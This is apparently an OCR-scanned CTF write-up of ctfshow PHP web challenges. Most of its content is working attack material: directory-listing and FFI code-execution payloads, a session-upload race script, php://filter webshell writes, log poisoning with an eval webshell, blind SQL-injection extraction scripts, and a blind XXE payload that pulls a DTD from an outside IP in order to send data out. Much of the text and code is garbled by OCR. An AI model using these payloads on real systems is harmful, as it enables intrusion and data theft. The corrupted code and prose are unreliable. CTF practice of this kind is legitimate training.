Warning: ini set() has been disabled for security reasons in /var/www/html/index.php on line 15
bin dev etc flag0.txt home lib media mnt opt proc root run shin srv sys tmp usr var flag{dac034fe-abae-4b56-829e-
a02bb445bc21}

web73-74

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()."' ");}exit(@);?>



POST v | htp://0a44674e-abea-deee-O9b7b-84b586e75f86.chall.cf . show/ m i

Params Authorization Headers (8) Body @ Pre-request Script Tests Settings Coo
none @ form-data x-www-form-urlencoded raw binary GraphQL
KEY VALUE DESCRIPTION s
C ?=<7php $a=new

Directorylterator{"glob:///*");foreach($a as 1)
Y {echo($f->__toString().’ ") }exit{0) 7= Descr

Body (Cookies Headers (7) Test Results @) sStatus: 2000K Time: 35ms  Size: 583 B Save Re

Pretty Raw Preview Visualize

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
bin dev etc flagx.txt home lib media mnt opt proc root run shin srv sys tmp usr var

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("/flagx.txt");exit();
POST ¥ | hrep//0ad4674e-abea-deee-Ob7b-84b586e75f80.chall.crf.show/
Params Authorization Headers (8) Body @ Pre-request Script Tests Settings
none @ form-data x-wwww-form-urlencoded raw binary GraphQL
KEY VALUE
c $a=opendir("/"); while (($file = readdir($a)) I==

false{echo %file . "<br=";
ey };incIude["f’ﬂagx.txt"};exrtm

Body Cookies Headers (7) TestResults & sestus: 200¢

Pretry Raw Preview Visualize

run
shin
tmp
etc

flagx.txt

.dockerenv
flag{64f33df3-c9e0-4743-bc3a-373f1bb6392ce}

web75-76



c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__ toString()."' ');}exit(@);

POST

Params

none

KEY

Body Cookies

Pretty

v | htp://330b7b6a-42d3-46fd-a253-f2b73c22 c09b.chall. cif.show/

Authorization

® form-data

Raw Preview

Headers (7]

Headers (8) Body @

x-www-form-urlencoded

Test Results

Visualize

Pre-request Script Tests Settings

raw binary GraphQL
VALUE DESCRIPTION
$a=new Directorylterator("glob:///*");foreach($a

as $f{echo($f->__toString()." ") jexit(0);

[w)
m
=]
[=]

@ status: 2000K  Time: 32ms  Size:

5846

Save F

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
bin dev etc flag36.txt home lib media mnt opt proc root run shin srv sys tmp usr var

X EF Fmysqlif) load_file 344

try {

$dbh = new PDO( 'mysqgl:host=1localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {

echo($row[0])."|";

}

$dbh = null;
} catch (PDOException %e) {

echo $e->getMessage();

die();
texit(0);



I R PR AT A &

http:/f330b7b6a-42d3-46fd-a253-f2b73c22c09b.chall.ctf.show/

POST -
Params Authorization Headers (8) Body @ Pre-request Script Tests Settings Cook
none @ form-data x-wwww-form-urlencoded raw binary GraphQL
KEY VALUE DESCRIPTION i Bi
c try{
$dbh = new
€} PDO('mysql:host=localhostdbname=ctftraining’, Descript
'root’, 'root’);
foreach({$dbh->guery('select
|Icad_filei"f'fagBE:-.:x:' ]I} as frow) {
echo{$row[0])."|";
}
%dbh = null;
Body Cockies Headers (7) Test Results @ Status: 2000K Time: 35ms  Size: S43B Save Res
Pretty Raw Preview Visualize

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini set() has been disabled for securit
flag{8674ee3a-b5f9-4c67-abeb-08a8067e961c}

y reasons in /var/www/html/index.php on line 15

web77

FF1 (Foreign Function Interface) , BI4MBm#EED, REAE—FESEAA S —MIESREHEAR. PHPEFFY B — MEREPHP

B CARIIEAR

BV FR B T RAR

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->_ toString()."'

') Yexit(0);



POST ¥ | hrpi//c25aalfe-37da-4191-be36-3b6953b2620b. chall.cof.show/
Params Authorization Headers (8) Body @ Pre-request Script Tests Settings Cc
none @ form-data x-wwww-form-urlencoded raw binary GraphQL
KEY VALUE DESCRIPTION e
c $a=new Directorylterator({"glob:///*");foreach($a
as $fHecho($f-=__toString().' ");}exit0);
Body Coockies Headers (8) TestResults @& Status: 2000 Time: 26ms  Size: 456 B Save f
Pretty Raw Preview Visualize

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
bin boot dev etc flag36x.txt home lib lib64 media mnt opt proc readflag roat run sbin srv sys tmp usr var

BIEFFI (7484E) , $ATRG

$ffi=FFI::cdef("int system(const char *command);");//BY&—systemi/ 5
$a='/readflag > 1.txt';//RHEZH
$ffi->system($a);/ /B F1 L HsystemFE

exit(0);
&« c @ © £ c25aalfe-37da-4191-be26-3b6953b2620b.chall.ctf.show/1.txt
Had Oof OO BEEE( - Jon .. 2 Wswmmeos [#csDN - sUiFssit.. A a2EEe66 - BEE f
flag{da781f30-070b-4cda-aSfb-5773TLEf1f2599}
ctfshow flag getter

web82-86

X B EERwWeb86, AH TR

<?php
define('®EH? ', dirname(__FILE_ ));
set_include_path(REFH? );
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);

telse{
highlight_file(_ FILE_ );



2% . F|Hsession.upload_progress#tiT XA R 751 isiE
F| F session.upload_progress#% & & &) 5 Asession3CfF, M & session3

ji R —:

AR B %45 session_start(), 10 i &) & session S4B ?

fBE—

Hsz, Wsession.auto_start=0n , WIPHPTEEWE K KB %2 B sh #1461k Session, ANF 7 ZE 4T session_start(). HERIANER T, X4
EITAR & R .

{HsessionitE —MERINGETH, session.use_strict_modeZRINE 0. Bhit AR LLE 5 X Session IDHI. Ebin, FAI#ECookie B ¥ &
PHPSESSID=TGAO, PHPK&7ER% s LAl —A3C: /tmp/sess TGAO”. BBtk B 2 A ¥l4f k. Session, PHP £ BB W4k
Session. AN, XAME{EAIni.get(“session.upload_progress.prefix’)+H #1141 fiisession.upload_progress.nameft 415,
BJE# 5 Nsess_HEE .

i

{ER BT, BRi\ACE session.upload progress.cleanup = on S804 E4& )5, session 3ty &L &S,

AT A7 rcele ?

fRE—

BERT AT AR 354, fEsessionC N AE Z AT SR .

pythonfii A< 4n F

import io
import requests
import threading
sessID = 'flag'
url = 'http://5a3cd120-8d65-43c9-820b-0avafbfe763e.chall.ctf.show/"
def write(session):
while True:
f = io.BytesIO(b'a'*256*1) #ZXIF® X MEAHBEA—F
response = session.post(
url,
cookies={ "PHPSESSID': sessID},
data={"'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac *.php");?>'},
files={"'file': ('a.txt', f)}
)
def read():
while True:
response = session.get(url+'?file=/tmp/sess {}'.format(sessiD))
if "flag' in response.text:
print(response.text)
break
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #jdaemon#Truelf, RLFEHIEITTHEE, FLELILREIEEE]T, W EREELFE—LEH.
write.start()
read()


https://www.freebuf.com/vuls/202819.html

io
L requests
threading

.BytesIO(b'a'*256%1)
session.post(

session.get(url+ ?file _{}' .format(sessID))
in response.text:

print(response.text)

break

session = requests.session()

write = threading.Thread(target=write, args
write.daemon = True

write.start()

read()

# [@link: https://ctfer.com

# [@email: hi fer.com

# (@Last Modified time: 2828-89-16 11:25:88

# @Last Modified by: » ;

# @Date:  2020-00-16 11:24:37 ittps:/iblog.csdn.net/bmitr

B H YRR
if(isset 'file'
= 'file'
= 'content’
= str_replace("php", "???"
= str_replace("data", "???"
= str_replace(":", "???"
= str_replace(".", "???"
file_put_contents(urldecode "<?php die(' KEHFET");2>"
else

highlight_file(_ FILE__

HTFHELE: urldecode($file) , FEMITHIRUNGFY, php://filter/write=string.rot13/resource=2.php


https://www.4hou.com/posts/vD7X
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/8163

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%
32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%2
5%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37
%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

POST v | hup://b3ddf5341-7c5a-480d-aded-3ded3350c7d3.chall. ctf show?file=%25%37%30%25%36%32%25%3 7"
Params @ Authorization Headers (8) Body @ Pre-request Script Tests Settings
none @ form-data x-www-form-urlencoded raw binary GraphQL
KEY VALUE DESCRIPTION
content <?cuc fifgrz(yf); 7=

<?php system('1s"');?> #4Trot134aA%°~ <?cuc flfgrz('yf');?>, contentf& NEJHAT
< C @ © £ eab441e5-5c0d-4f67-b666-59a727a01b7a.chall.ctf.show/2.php

B Baf OBEEE( - Jo0.. 2 HSimeots [®csDN - SUFFss.. A 5257666 - BEE fRET

2.php fl0g.php index.php

FEEEIT] <?php system('cat *');?> RN <Pcuc flfgrz('png *');?>
C # view-source:http://eab441e5-5c0d-4f67-bbb6-59a727a01b7a.chall.ctf.show/2.php
s Faf (COBEEE( - )20 .. B ASEmeoE [# csoN - SUFsst.. A G3FTe6 - BEE REEEET - [
?cuc qvr(C XERFET ) 2><?cuc qvrC XEMNFE T ) ;?2><?php system( cat * ) ;?>{?php

SE

# —¥— coding: utf-8 —¥—

# @Author: hlxa

# @Date: 2020-09-16 11:24:37

# @last Modified by: hlxa

# @last Modified time: 2020-09-16 11:25:00
# @email: hixa@ctfer. com

# @1ink: https://ctfer. com

*/

$flagt flag{17a57527-b242-4bb1-a08a—4e9ab3330br2} |; < Pphp

SE

# —¥— coding: utf-8 —¥—

# @Author: hlxa

# @Date: 2020-09-16 11:25:09

# @last Modified by: hlxa

# @Blast Modified time: 2020-09-16 21:57:55
# Bemail: hilxa@ctfer. com

# @link: https://ctfer. com

*/
if(isset ($ GET[ rile’J)) {

$rile = $ CET[ rile’J;
S$content = § POST[ content’];



$rile = str _replace( php”, "???7, $file):

Jrile = str_replace ('dara', Tee0”  $file);

§file = str replace(' T T99?"7 $file):

$file = str _replace(”. ToP2”  $file);

file put contents (urldecode ($rile), "<?php die( A EHMFE 1) 2" Jcontent) ;

Yelsef
highlight file{ FILE 1}
}

WA LIE F php://filter/write=convert.base64-decode/resource=3.php

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%
32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%2
5%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36
%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%367%66%25%37%35%25%37%32%25%36%33%25%36%35%
25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

K qilidbase64id 2 JE Mt R A phpdie 6/ FFF ATk B A N2 47 1L A TH B0 AT DAEAT 9wt BD:
<?php system('ls');?> ==>PD9waHAgc31zdGVtKCdscycp0z8+ contentf& N\ aaPD9waHAgc31zdGVtKCdscycp0z8+

web_ AK3E

%35 W E_WEB_AKIE
S T IR

<?php

if(isset($ GET['file'])){
$file = $ GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);

telse{
highlight file(__ FILE_ );

?>



FEFH EE A& Bflag

&« C @
Haw Oof OO BEEE( - o0 .. D mewmeok [#csDN - sUFFssit.. A a2EEe66 - BER REBEEET - ..

flag{86103a24-b097-438b-a27d-ad36359623e9}

BB IEMKRSE, &/H K idatastiT
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbI2NtZCddKTsgPz4=

AR BASEGR4:

<7php eval(5_POST[cmd]); 7> , PD9waHAgZXZhbCgkX1BPU1RbJZNIZCddKTsgPz4=
BASEG44551S »

€ BASEG4RENS

KBL: allow_url_include=0 , #iBphp.inifallow_url_include = off

<« c @ @ & 83180db4-fb0a-412d-aBc6-a60fdb1928c4.chall.ctf.show/?file=data://text/plain;base64,PDOwaHAGZXZhbCgkX 1BPUTRbJZNtZCddKTsgPz4= B e Ty

B Bt CemmeEc- Jon. 2 Asemeos [@cson - swieEr. A 535666 - BER SR - 5. () 28 - £28RFE © Poper L ZNUCTFO) @ Drive @ IWITEAE [ WISSSEREE.. @ WECTF S

Warning: include(): data:// wrapper is disabled in the server configuration by allow_url_include=0 in /var/www/html/index.php on line 8
Warning: include(data://text/plain;base64,PDI9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=): failed to open stream: no suitable wrapper could be found in /var/www/htmil/index.php on line 8

Warning: include(): Failed opening 'data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4="for inclusion (include_path=":/usr/local/lib/php’) in /var/www/html/index.php on line 8

XEMAEHABHELSE, RILHEFENarlog/nginx/access.logH

B e Yin@D® 1 »0Os H

<« c @ © 4 83180db4-fb0a-412d-aBc6-ab0fdb1928c4 chall ctf.showy/?ile=/var/log/nginx/access.log
> [\angE et

Bt Baf Cm@EeE( - o0 . B ESmkeoks [FcsoN - SWFEEt. ) S3Fees - BEE Bl ABEEES - 2. [) 228 22EAFS S paper L ZNU-CTFO) T oive @ RImEAs [ wlesssess. @ mEcr(ER O wuTeiso
172.12.0.3 - - [06/Oct/2020:04:26:37 +0000] "GET / HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/0ct/2020:04:27:20 +0000] "GET /?file=1.php HTTP/1.1* 200 15 *-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:27:23 +0000] "GET /?file=1.jpg HTTP/1.1" 200 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101
Firefox/81.0" 172.12.0.3 - - [06/0ct/2020:04:32:04 +0000] "GET /?file=data://text/plain;base64,PDIwaHAgZXZhbCgkX1BPU1RbJZNtZCddKTsgPz4= HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101
Firefox/81.0" 172.12.0.3 - - [06/0ct/2020:04:40:21 +0000] "GET /?file=PHP HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:42:20 +0000] "GET /?file=data://text
/plain;base64,PD9waHAgZXZhbCgkX1BPUTRbJ2NtZCddKTsgPz4= HTTP/1.1" 200 625 *-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:47:08 +0000] "GET /?fil ./. Jflag.txt
HTTP/1.1" 200 54 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/0ct/2020:04:49:37 +0000] "GET /?file= HTTP/1.1" 200 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x|
Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:49:40 +0000] "GET /?file= HTTP/1.1" 200 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Qct/2020:04:50:15 +0000] "GET
/*ile=/var/log/nginx/access.log HTTP/1.1" 200 1610 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:50:35 +0000] "GET /?file=/usr/local/var/log/nginx/access.log HTTP/1.1" 200
385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/0ct/2020:04:50:44 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1991 "-" "Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:81.0
Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:50:53 +0000] "GET /?file=/var/logdata/nginx/access.log HTTP/1.1" 200 373 "-* "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct
/2020:04:51:00 +0000] "GET /?file=/var/log/nginx/error.log HTTP/1.1" 200 5 "-* "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 172.12.0.3 - - [06/Oct/2020:04:51:10 +0000] "GET /?file=/var/log/apache2/error.log

HTTP/1.1" 200 367 *-" "Morilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"

K—AERGEANHEM, BERIUAKK—aHER DA L4 PHPARTD R



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET /?file=fvar/log/nginx/access.log HTTPM .1

Host: 92d0cBe7-c59a-450d-9d5d-f175f3c133dB. chall.ctf. show

Usel-Agent:l<?php eval($_F‘OST['cmd'D;?>Nozi\laa'5 0 (Windows NT 10.0; WinE4; x64; nv:81.0)
Gecko/20100107 Firefox/a1.0

Accept: text/htmlapplication/xhtml+xml application/xml;q=0.9 image/webp "™ g=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK; q=0.5 en-US;q=0.3 .en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: UM_distinctid=174dd3ee98a2a-069d3056c12e228-4c3f257 b-1fad00-17 4 dd3ee98 0129
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Contral: no-cache

IS B AT 45 2lflag

S s S

Antsword B8 S5O B
[0111.231.70.44

4 ==

M #EEg: [flag.bxt

[flag. bt

2

web2_WE _WEB_AK3

T

' n
~ ~ ~

and. =.

e

Content-Type: text/html; charset=UTF-8
Connection: close

¥-Powered-By: PHP/7.3.11
Content-Length: 1600

172.12.0.3 - - [06/0¢t/2020:05:02:46 +0000] “GET / HTTP/1.1" 200 1516 “-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"

172.12.0.3 - - [06/0ct2020:05:02:47 +0000] "GET /favicon.ico HTTP/1.1" 200 1516
"http://92d0cBef -c59a45bd-9d5d 17563 c33d6. chall.ctf.show/” "Mozilla/5.0 (Windows NT
10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"

172.12.0.3 - - [06/0ct2020:05:02:50 +0000] "GET / HTTP/1.1" 200 1516 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"

172.12.0.3 - - [06/0ct/2020:05:03:41 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1"
200 546 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
172.12.0.3 - - [06/0ct/2020:05:03:54 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1"
200 731 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
172.12.0.3 - - [06/0ct/2020:05:03:54 +0000] "GET ffavicon.ico HTTP/1.1" 200 1516
“http://92d0cBcr-cd9a45bd-9d5d-AT753cB3d6. chall.ctf.show/?file=fvar/log/nginx/access.log”
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"

172.12.0.3 - - [06/0ct/2020:05:03:56 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1"
200 1171 "." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101
Firefox/81.0"

172.12.0.3 - - [06/0ct/2020:05:03:56 +0000] "GET /favicon.ico HTTP/1.1" 200 1516
"http://92d0cBcf-c9a45bd-9d5d-F75f3cf33d6.chall.ctf.show/?file=/var/log/nginx/access.log"
"Mezilla/5.0 (Windows NT 10.0; Win64; x64; nv:81.0) Gecko/20100101 Firefox/81.0"

1 flag{834edcc9-bdB3-46ba-bad2-fb8deBf58281d}

» order. by. like. union. ,. char. ascii. sleep. limit. BENCHMARK. -- -

ST =, AL regexp A&, WLAH case(x)when(y)then(1)else(2)end ¥ if , ML TFif(x=y,1,2)

ascii ATLAA ord /K%, hex tH4T

substr('flag',1,1) FJBLA substr('flag')from(1)for(1) X%

wh1sper)fi{& i) 2 .



import requests
host = 'http://6d40c5f4-b306-43c2-b70d-342ca79ad9fd.chall.ctf.show/index.php?id="
def mid(bot, top):
return (int)(@.5 * (top + bot))
def sqli():
name = "'
for j in range(1, 250):
top = 126
bot = 32
while 1:
#babyselect = 'database()'---webl
#babyselect = '(select group_concat(table_name) from information_schema.tables where table_schema re
gexp database())'---flag,page,user
#babyselect = '(select group_concat(column_name) from information_schema.columns where table_name re
gexp 6x666c6167) ' ---FLAG_COLUMN, flag
babyselect = '(select flag from flag)'
select = "0 or ord(substr({} from {} for 1))>{}".format(babyselect, j, mid(bot, top))
r = requests.get(url=host + select.replace(' ', '/**/"))
#print(host + select.replace(' ', '/**/'))
if 'Child' in r.text:
if top - 1 == bot:
name += chr(top)
print(name)
break
bot = mid(bot, top)
else:
if top - 1 == bot:
name += chr(bot)

print(name)
break
top = mid(bot, top)
if _name__ == '_main__ ":
sqli()
P D A 2

import requests
url="http://6d40c5f4-b306-43c2-b70d-342ca79ad9fd.chall.ctf.show/index.php?id=1""
flag=""
for i in range(1,50):
print("i="+str(i))
for j in range(38,126):
#u="case(ord(substr(database()from({@})for(1))))when({1})then(2)else(3)end". format(i,j) #/&E+# webl
#u="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table _schema)r
egexp(database()))from({@})for(1))))when({1})then(2)else(3)end". format(i,j) ##+% flag. page. user
#u="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)r
egexp (0x666c6167) ) from({0})for(1))))when({1})then(2)else(3)end". format(i,j) #54 FLAG_COLUMN. flag
u="case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(2)else(3)end".f
ormat(i,j) #flagF£
u=url+u
r=requests.get(u,timeout=100)
t=r.text
if("I asked nothing" in t):
flag+=chr(j)
print(flag)
break

web3 W E_WEB_AKZ



HEILAE

G @ # view-source:http://69050146-36c6-41

Bt [ ctf () BEENE( - )20 .. B WSSk [# csoN - SUFFESE.

<IDOCTYPE HTML>

<html>

<head>

<{meta charset="utf-3">

Era o Era - - - i
<meta name= renderer content= webk1t|1e-cump|1e-stand »

<meta http—equiv="Y-UACompatible” content="IE=edge, chrom
<meta name="viewport” content="width=device-width, initial-
<meta http-equiv="Cache—Control” content="no-siteapp” />
</head>

<body>

<center>

<h2>CTFshaw IMEA M2 hr>

<img src=1sthImagnghp?image=Eﬁllu83HIDw=np

{/center>
</body>
</html>

84 4 B & showlmage.php 3 2 5D :

<?php
//8key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET[ 'image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif"');
echo file_get_ contents($str);

}
telse{

highlight file(___FILE_ );
}
?>

RIRdesin®, R0 ctfshow .rand()Frand ()BT =4 K18,

<?php

$len = rand();

print ($len."\n");

for($i=0;%i<$len;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6I1u83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);

T e AR B B A -

if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,”png")){

print($str." ");
print($i);
break;



+H)
substr(mds(

liletEMHENRT. py = openssl_decrypt(
sqlit A B+ py (strpos(
timg.jpg (

li External Libraries (

0 Scratches and Consoles

b.php

D:\phpstudy_pro\Extensions\php\php7.4.3nts\php.exe C:\Users\Administrator\Desktop\a\b.php

866881696

1.jpg 27347

Process finished with exit code @ https://blog.csdn.netbmth666

2133 T #4Akey, TR INE config.php

27347
= substr(md5('ctfshow’
= "config.php"
print(openssl _encrypt 'bf-ecb’

831 N6bF8Bd8jmOSpMTZG101isw==

Paper &) ZINU-CTFO) [ Drive @3 =~ HTH g
1‘§ "http /,469050146 36c6-41bf-a6e8-7c7a01c9t47c.chall.ctf. show/showlmage.php’-‘lmage NbeBBdemOSmeZGIOlsw——" Eﬁ&%‘tﬁﬂﬁ?&@_—n

fif Fwgetit B4 SC1F T8 F k. SRR A

bi@x@ubuntu:~5 wget http://69050146-36c6-41bf-a6e8-7c7ad1c9f47c.chall.ctf.show/showImage.php?image=N6bf8Bd8jm@SpmTZGLAisw==

--2020-10-06 14:24:06-- http://69050146-36c6-41bf-a6e8-7c7ad1c9f47c.chall.ctf.show/showImage.php?image=N6bT8Bd8jm@SpmTZGlOisw==

ﬂET‘ﬂﬁﬁIm 69050146-36C6-41bf-a6e8-7c7a01c9fa7c.chall.ctf.show (69850146-36c6-41bf-a6e8-7c7ad1c9fa7c.chall.ctf.show)... 111.231.70.44
IETEE1E 69050146-36c6-41bf-a6e8-7c7a01c9f47c.chall.ctf.show (69050146-36c6-41bf-a6e8-7c7a01c9f47c.chall.ctf. show)|111.231.70.44):80... B2iEiE.
B&M nrte FR, EEEFER... 200 ok

KE: 88 [image/qif]

IEERTEE: “showImage.php?image=N6bf8Bd8imeSpmTZGlO1swW=="

showImage.php?image 180%[ 88 --.-KB/s BT es
2020-10-06 14:24:06 (2.92 MB/s) - BEfRTF “showImage.php?image=N6bf8Bd8im@SpmTZGleisw==" [88/88])

bi@x@ubuntu:~5 1s
ctf pwn_1init_py2.sh
examples desktop showImage php?image=N6bT8Bd8 jmOSpmTZGLO1isw=="
Ne23:)
Libc 1&1\ Y
=15
Ji‘ﬁ
Bk
bi@x@ubuntu:~$ cat 'showImage.php?image=N6bf8Bd8jmOSpmTZGlOisw==
<?php

Skey = '5a78dbb4':
sflag = flag{8edcOff2-9d82-451F-b332-799F4260233c}| ;
7>

biex@ubuntu:~$ I https:iblog.csdn.net/bmth666




webd M. WEB_AKZE

BB ERIG

G @ £ view-source:http://64f96bdf-f5d5-4aad-b024-3062c250a849.chall.ctf.show/

B Bt (O BmeaE ( - )50 .. B ASmEeoiE [o csDN - sWFEEd.. 3 B2FE666 - BER HEBEEEES

<IDOCTYPE HTML>

<html>

<head>

<{meta charset="utf-8">

<meta name="renderer” content="webkit|ie-comp|is-stand”>

<meta http—equiv="¥-UA-Compatible” content="IE=edze, chrome=1">

<meta name="viewport” content="width=device-width, initial-scale=1, minimmscale=1. 0, maxim
<meta http-equiv="Cache-Control” content="no-siteapp” />

</head>

<{style type="textfecss™>

. table_back fwidth:320px; height : 480px  border : Opx)

. floor {border:Opx solid sray; font-size:12px: line-heisht:24px;]
</style>

<body>

<center>

<div 1d="NT"»<h2>CTFshow ﬁ,mut,‘-#(<fh2><hr><fdiv><div id="RS »</div>
<gcript type="text/javascript” sre="jsfcommon. js” »<{/script>
{/center>

</body>

"jsfiquery. min. js”>< /script>

{!-—— flag in filesystem /Tlag. txt —>

/html

FEoPIMERREEERAT T H 202

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

Go Cancel || < |v |[ > v Target: http://64f96bdf.f5d5-4aa4-b024-3062c250a849.chall.ctf.show @E

POST fapi.php HTTR/1 1 : HTTP/M 1 200 OK

Host: 64960 df-f5d5-4aad-h024-3062c250a849. chall ctf show Server: nginx/1.14.0 {Ubuntu)

UserAgent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; n:81.0) Gecko/20100101 Firefox/a1.0 Date: Tue, 0B Oct 2020 06:36:43 GMT

Accept: application/json, text/fjavascript, *™*; g=0.01 Content-Type: text/html; charset=UTF-8

Accept-Language: zh-CN,zh,g=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US,;g=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate ¥-Powered-By: PHP/7.3.11

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 162

¥-Requested-With: XMLHttpRequest'

Content-Length: 76 {"success™true,"msg™:"W6765\uB1e a\udefa\udfh7wse02\u7684'\w9053 ' u53ch, \udfb0\Ww90a3 \ud1c
Origin: http://B4f36bdF-5d5-4aad-b024-3062c250a849. chall.ctf show cw73h0\5728'u6621 09634 \WwIBce\uS41Twde3a'\udel cud317 w98 ce3 47 eal "}

Connection: close
Referer: http: //B49Ebdf-f5d5-4aad-h024-3062c250a849. chall. ctf. show!
Cookie: UM_distinctid=174dd3ee98a2a-069d30560122228-4c3f257 b-1fad00-17 4dd3ee96c1a9

api=http%3A%2F %2Fflash.weather. com. cn%2Fwmaps %2Fxml%2Fcity. xml&city=Hangzhou

exxelwifl, B bpayload KIEEE, FwpKIABlind XXE, %3 E: XXERFAFAET: AXMLEZEREHAT

FE A vps LB A

test.xmil:


https://www.freebuf.com/articles/web/177979.html

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE test [

<IENTITY % remote SYSTEM "http://47.101.145.94/test.dtd">

%remote;%int;%send; 1>

